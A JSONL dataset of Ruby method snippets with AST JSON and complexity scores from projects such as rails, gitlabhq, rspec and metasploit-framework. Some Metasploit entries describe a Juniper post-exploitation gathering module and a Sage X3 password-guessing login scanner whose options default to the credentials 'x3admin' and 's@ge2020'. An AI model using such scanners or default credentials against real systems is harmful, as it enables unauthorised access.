{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/memoized_helpers.rb","start_line":120,"raw_source":"def is_expected\n        expect(subject)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"is_expected\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"subject\"]}]}]}","id":"873fce29-7033-4f2c-bf71-de817a67bbd2"}
{"repo_name":"doorkeeper","file_path":"./repos/doorkeeper/spec/support/helpers/model_helper.rb","start_line":51,"raw_source":"def access_token_should_have_scopes(*args)\n    grant = Doorkeeper::AccessToken.last\n    expect(grant.scopes).to eq(Doorkeeper::OAuth::Scopes.from_array(args))\n  end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"access_token_should_have_scopes\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"grant\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"AccessToken\"]},\"last\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"grant\"]},\"scopes\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"eq\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Doorkeeper\"]},\"OAuth\"]},\"Scopes\"]},\"from_array\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}]}]}","id":"7f13cfa7-3a37-4d9e-8529-5b5d89f6268c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/networking/gather/enum_juniper.rb","start_line":10,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Juniper Gather Device General Information',\n        'Description' => %q{\n          This module collects a Juniper ScreenOS and JunOS device information and configuration.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [ 'h00die'],\n        'Platform' => [ 'juniper'],\n        'SessionTypes' => [ 'shell' ],\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'SideEffects' => [IOC_IN_LOGS],\n          'Reliability' => []\n        }\n      )\n    )\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Juniper Gather Device General Information\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module collects a Juniper ScreenOS and JunOS device information and configuration.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"h00die\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"juniper\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SessionTypes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"shell\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]}]}","id":"63808f78-94e0-4d06-8c50-73bbb5c3ed6c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/variable_force/variable_table.rb","start_line":32,"raw_source":"def pop_scope\n          scope = current_scope\n          invoke_hook(:before_leaving_scope, scope)\n          scope_stack.pop\n          invoke_hook(:after_leaving_scope, scope)\n          scope\n        end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"pop_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"scope\",{\"type\":\"send\",\"children\":[null,\"current_scope\"]}]},{\"type\":\"send\",\"children\":[null,\"invoke_hook\",{\"type\":\"sym\",\"children\":[\"before_leaving_scope\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"scope_stack\"]},\"pop\"]},{\"type\":\"send\",\"children\":[null,\"invoke_hook\",{\"type\":\"sym\",\"children\":[\"after_leaving_scope\"]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]},{\"type\":\"lvar\",\"children\":[\"scope\"]}]}]}","id":"b29dbeb5-5637-45ac-b59a-47fb7369b8af"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/spec/support/pages/meetings/show.rb","start_line":442,"raw_source":"def within_backlog(&)\n      page.within(\"#meeting-sections-backlogs-container-component\", &)\n    end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"within_backlog\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"str\",\"children\":[\"#meeting-sections-backlogs-container-component\"]},{\"type\":\"block_pass\",\"children\":[null]}]}]}","id":"a3872f15-d280-4a15-bcab-71a4d975b239"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/abstract_controller/callbacks.rb","start_line":265,"raw_source":"def process_action(...)\n        run_callbacks(:process_action) do\n          super\n        end\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"process_action\",{\"type\":\"forward_args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_callbacks\",{\"type\":\"sym\",\"children\":[\"process_action\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"9534279b-77f9-4424-ae49-3045c60b51dd"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/product.rb","start_line":773,"raw_source":"def touch_taxons\n      if taxons.any?\n        Spree::Products::TouchTaxonsJob.\n          set(wait: 5.seconds).\n          perform_later(taxon_and_ancestors.map(&:id), taxonomy_ids.uniq)\n      end\n    end","complexity_score":14.63,"ast_json":"{\"type\":\"def\",\"children\":[\"touch_taxons\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"taxons\"]},\"any?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Products\"]},\"TouchTaxonsJob\"]},\"set\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[5]},\"seconds\"]}]}]}]},\"perform_later\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"taxon_and_ancestors\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"taxonomy_ids\"]},\"uniq\"]}]},null]}]}","id":"2e2f1017-af38-46af-a150-a8da0ee751be"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/git_access_spec.rb","start_line":845,"raw_source":"def self.run_permission_checks(permissions_matrix)\n      permissions_matrix.each_pair do |role, matrix|\n        # Run through the entire matrix for this role in one test to avoid\n        # repeated setup.\n        #\n        # Expectations are given a custom failure message proc so that it's\n        # easier to identify which check(s) failed.\n        it \"has the correct permissions for #{role}s\" do\n          if role == :admin_without_admin_mode\n            skip(\"All admins are allowed to perform actions https://gitlab.com/gitlab-org/gitlab/-/issues/296509\")\n          end\n\n          if [:admin_with_admin_mode, :admin_without_admin_mode].include?(role)\n            user.update_attribute(:admin, true)\n            enable_admin_mode!(user) if role == :admin_with_admin_mode\n            project.add_guest(user)\n          else\n            project.add_role(user, role)\n          end\n\n          protected_branch.save!\n\n          aggregate_failures do\n            matrix.each do |action, allowed|\n              check = -> { push_changes(changes[action]) }\n\n              if allowed\n                expect(&check).not_to raise_error, -> do\n                  \"expected #{action} for #{role} to be allowed while #{who_can_action}\"\n                end\n              else\n                expect(&check).to raise_error(Gitlab::GitAccess::ForbiddenError), -> do\n                  \"expected #{action} for #{role} to be disallowed while #{who_can_action}\"\n                end\n              end\n            end\n          end\n        end\n      end\n    end","complexity_score":71.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run_permission_checks\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"permissions_matrix\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permissions_matrix\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role\"]},{\"type\":\"arg\",\"children\":[\"matrix\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"it\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"has the correct permissions for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"str\",\"children\":[\"s\"]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]},\"==\",{\"type\":\"sym\",\"children\":[\"admin_without_admin_mode\"]}]},{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"All admins are allowed to perform actions https://gitlab.com/gitlab-org/gitlab/-/issues/296509\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"admin_with_admin_mode\"]},{\"type\":\"sym\",\"children\":[\"admin_without_admin_mode\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"update_attribute\",{\"type\":\"sym\",\"children\":[\"admin\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]},\"==\",{\"type\":\"sym\",\"children\":[\"admin_with_admin_mode\"]}]},{\"type\":\"send\",\"children\":[null,\"enable_admin_mode!\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"add_guest\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"add_role\",{\"type\":\"send\",\"children\":[null,\"user\"]},{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"protected_branch\"]},\"save!\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"aggregate_failures\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matrix\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"allowed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"check\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"push_changes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changes\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allowed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]}]}]},\"not_to\",{\"type\":\"send\",\"children\":[null,\"raise_error\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"str\",\"children\":[\" to be allowed while \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"who_can_action\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"check\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"raise_error\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"GitAccess\"]},\"ForbiddenError\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"expected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]}]},{\"type\":\"str\",\"children\":[\" for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"role\"]}]},{\"type\":\"str\",\"children\":[\" to be disallowed while \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"who_can_action\"]}]}]}]}]}]}]}]}]}]}]}]}]}","id":"9e59f630-b499-423a-af75-bda6c88fb2ea"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/mentionable/reference_regexes.rb","start_line":29,"raw_source":"def self.external_pattern\n      strong_memoize(:external_pattern) do\n        issue_pattern = Integrations::Base::IssueTracker::REFERENCE_PATTERN_REGEXP\n        link_patterns = URI::DEFAULT_PARSER.make_regexp(%w[http https])\n        reference_pattern(link_patterns, issue_pattern)\n      end\n    end","complexity_score":6.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"external_pattern\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"external_pattern\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issue_pattern\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Base\"]},\"IssueTracker\"]},\"REFERENCE_PATTERN_REGEXP\"]}]},{\"type\":\"lvasgn\",\"children\":[\"link_patterns\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"URI\"]},\"DEFAULT_PARSER\"]},\"make_regexp\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"http\"]},{\"type\":\"str\",\"children\":[\"https\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"reference_pattern\",{\"type\":\"lvar\",\"children\":[\"link_patterns\"]},{\"type\":\"lvar\",\"children\":[\"issue_pattern\"]}]}]}]}]}","id":"26bafcc5-e578-44fa-b5ed-b4976d031ae3"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/sage/x3_adxsrv_login.rb","start_line":16,"raw_source":"def initialize(_info = {})\n    super(\n      'Name' => 'Sage X3 AdxAdmin Login Scanner',\n      'Description' => %q{\n        This module allows an attacker to perform a password guessing attack against\n        the Sage X3 AdxAdmin service, which in turn can be used to authenticate to\n        a local Windows account.\n\n        This module implements the X3Crypt function to 'encrypt' any passwords to\n        be used during the authentication process, given a plaintext password.\n      },\n      'Author' => ['Jonathan Peterson <deadjakk[at]shell.rip>'], # @deadjakk\n      'License' => MSF_LICENSE,\n      'References' => [\n        ['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']\n      ]\n      )\n\n    register_options(\n      [\n        Opt::RPORT(1818),\n        OptString.new('USERNAME', [false, 'User with which to authenticate to the AdxAdmin service', 'x3admin']),\n        OptString.new('PASSWORD', [false, 'Plaintext password with which to authenticate', 's@ge2020'])\n      ]\n    )\n\n    deregister_options('BLANK_PASSWORDS')\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"_info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Sage X3 AdxAdmin Login Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module allows an attacker to perform a password guessing attack against\\n\"]},{\"type\":\"str\",\"children\":[\"        the Sage X3 AdxAdmin service, which in turn can be used to authenticate to\\n\"]},{\"type\":\"str\",\"children\":[\"        a local Windows account.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        This module implements the X3Crypt function to 'encrypt' any passwords to\\n\"]},{\"type\":\"str\",\"children\":[\"        be used during the authentication process, given a plaintext password.\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Jonathan Peterson <deadjakk[at]shell.rip>\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[1818]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"USERNAME\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"User with which to authenticate to the AdxAdmin service\"]},{\"type\":\"str\",\"children\":[\"x3admin\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Plaintext password with which to authenticate\"]},{\"type\":\"str\",\"children\":[\"s@ge2020\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"deregister_options\",{\"type\":\"str\",\"children\":[\"BLANK_PASSWORDS\"]}]}]}]}","id":"5d1caab0-b15d-419e-96c4-ddb136074796"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/merge_requests/create_pipeline_service.rb","start_line":26,"raw_source":"def create_merge_request_pipeline(merge_request)\n      project, ref = pipeline_project_and_ref(merge_request)\n\n      pipeline = Ci::CreatePipelineService.new(project,\n        current_user,\n        ref: ref,\n        push_options: params[:push_options],\n        pipeline_creation_request: params[:pipeline_creation_request],\n        gitaly_context: params[:gitaly_context]\n      ).execute(:merge_request_event, merge_request: merge_request)\n\n      if params[:pipeline_creation_request].present?\n        GraphqlTriggers.ci_pipeline_creation_requests_updated(merge_request)\n      end\n\n      pipeline\n    end","complexity_score":23.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_merge_request_pipeline\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"merge_request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\"]},{\"type\":\"lvasgn\",\"children\":[\"ref\"]}]},{\"type\":\"send\",\"children\":[null,\"pipeline_project_and_ref\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pipeline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"CreatePipelineService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"lvar\",\"children\":[\"ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"push_options\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"push_options\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"pipeline_creation_request\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pipeline_creation_request\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gitaly_context\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"gitaly_context\"]}]}]}]}]},\"execute\",{\"type\":\"sym\",\"children\":[\"merge_request_event\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"merge_request\"]},{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"pipeline_creation_request\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GraphqlTriggers\"]},\"ci_pipeline_creation_requests_updated\",{\"type\":\"lvar\",\"children\":[\"merge_request\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"pipeline\"]}]}]}","id":"20e1103a-427f-40af-bf81-9538e6779426"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type.rb","start_line":50,"raw_source":"def copy_from_type(source_type)\n      Workflow.copy(source_type, nil, proxy_association.owner, nil)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"copy_from_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"source_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Workflow\"]},\"copy\",{\"type\":\"lvar\",\"children\":[\"source_type\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proxy_association\"]},\"owner\"]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"8c6fbfc8-de5a-4c19-8476-292b15ef992a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/core.rb","start_line":2378,"raw_source":"def cmd_get(*args)\n\n    # Figure out if these are global variables\n    global = false\n\n    if (args[0] == '-g')\n      args.shift\n      global = true\n    end\n\n    # No arguments?  No cookie.\n    if args.empty?\n      global ? cmd_getg_help : cmd_get_help\n      return false\n    end\n\n    # Determine which data store we're operating on\n    if (active_module && !global)\n      datastore = active_module.datastore\n    else\n      datastore = framework.datastore\n    end\n\n    args.each { |var| print_line(\"#{var} => #{datastore[var]}\") }\n  end","complexity_score":28.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_get\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"global\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"-g\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"shift\"]},{\"type\":\"lvasgn\",\"children\":[\"global\",{\"type\":\"true\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"empty?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"global\"]},{\"type\":\"send\",\"children\":[null,\"cmd_getg_help\"]},{\"type\":\"send\",\"children\":[null,\"cmd_get_help\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_module\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"global\"]},\"!\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"datastore\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_module\"]},\"datastore\"]}]},{\"type\":\"lvasgn\",\"children\":[\"datastore\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"datastore\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"var\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var\"]}]},{\"type\":\"str\",\"children\":[\" => \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"datastore\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"var\"]}]}]}]}]}]}]}]}","id":"5ce179b1-6e04-4ff0-9a09-67ac3c7c1de2"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/controller_generator_test.rb","start_line":17,"raw_source":"def test_controller_skeleton_is_created\n    run_generator\n    assert_file \"app/controllers/account_controller.rb\", /class AccountController < ApplicationController/\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_controller_skeleton_is_created\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"app/controllers/account_controller.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"class AccountController < ApplicationController\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"e8e2c06d-45ff-4ed5-8a83-96298511f786"}
